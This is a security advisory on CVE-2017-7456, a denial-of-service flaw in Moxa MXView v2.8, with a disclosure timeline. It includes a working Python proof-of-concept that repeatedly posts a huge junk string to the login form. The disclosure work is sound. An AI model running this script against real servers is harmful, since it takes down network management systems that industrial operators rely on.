[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec Vendor: ============ www.moxa.com Product: =========== MXView v2.8 Download: http://www.moxa.com/product/MXstudio.htm MXview Industrial Network Management Software. Auto discovery of network devices and physical connections Event playback for quick troubleshooting Color-coded VLAN/IGMP groups and other visualized network data Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere. Vulnerability Type: =================== Denial Of Service CVE Reference: ============== CVE-2017-7456 Security Issue: ================ Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials. Exploit/POC: ============= import urllib,urllib2 print 'Moxa MXview v2.8 web interface DOS' print 'hyp3rlinx' IP=raw_input("[Moxa MXView IP]>") PAYLOAD="A"*200000000 url = 'http://'+IP+'/goform/account' data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'}) while 1: req = urllib2.Request(url, data) res = urllib2.urlopen(req) print res Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ========================================================== Vendor Notification: March 5, 2017 Vendor confirms vulnerability : March 21, 2017 Vendor "updated firmware April 7, 2017" : March 29, 2017 April 9, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx